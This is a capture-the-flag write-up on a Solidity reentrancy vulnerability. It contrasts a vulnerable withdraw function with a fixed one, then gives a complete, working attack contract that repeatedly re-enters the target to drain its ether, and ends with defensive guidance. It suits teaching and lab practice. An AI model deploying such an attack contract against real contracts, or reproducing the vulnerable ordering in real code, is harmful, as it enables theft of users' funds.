// Bad
function withdraw(uint _amount) public {
// Checks
if(balances[msg.sender] >= _amount) {
// Interactions
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
// Effects
balances[msg.sender] -= _amount;
}
}
handles the call() (interaction) too early in the implementation. This call() (interaction) is supposed to happen after balances[msg.sender] -= _amount (effect):
// Good
function withdraw(uint _amount) public {
// Checks
if(balances[msg.sender] >= _amount) {
// Effects
balances[msg.sender] -= _amount;
// Interactions
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
}
}
When calling withdraw it invokes our contract again before resetting the balance, allowing us to enter the contract again with another withdraw action. This is the classic re-entrancy attack.
Solution
Enumerate how many ether is stored in the target contract:
await getBalance(contract.address)
The target contract has 0.001 ether, which is 1000000000000000 wei.
Write an attack contract in Remix IDE:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint constant targetValue = 1000000000000000; // 0.001 ether
constructor(address _target) {
targetContract = IReentrance(_target);
owner = msg.sender;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate{value: msg.value}(address(this));
targetContract.withdraw(msg.value); // exploit reentrancy
}
function withdrawAll() public returns (bool) {
require(msg.sender == owner);
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call{value: totalBalance}("");
require(sent);
return sent;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}
Call donateAndWithdraw() with msg.value == 1000000000000000.
Summary
In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.
transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1Source 2.
Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.
Re-entrancy is a common attack. You should always be prepared for it!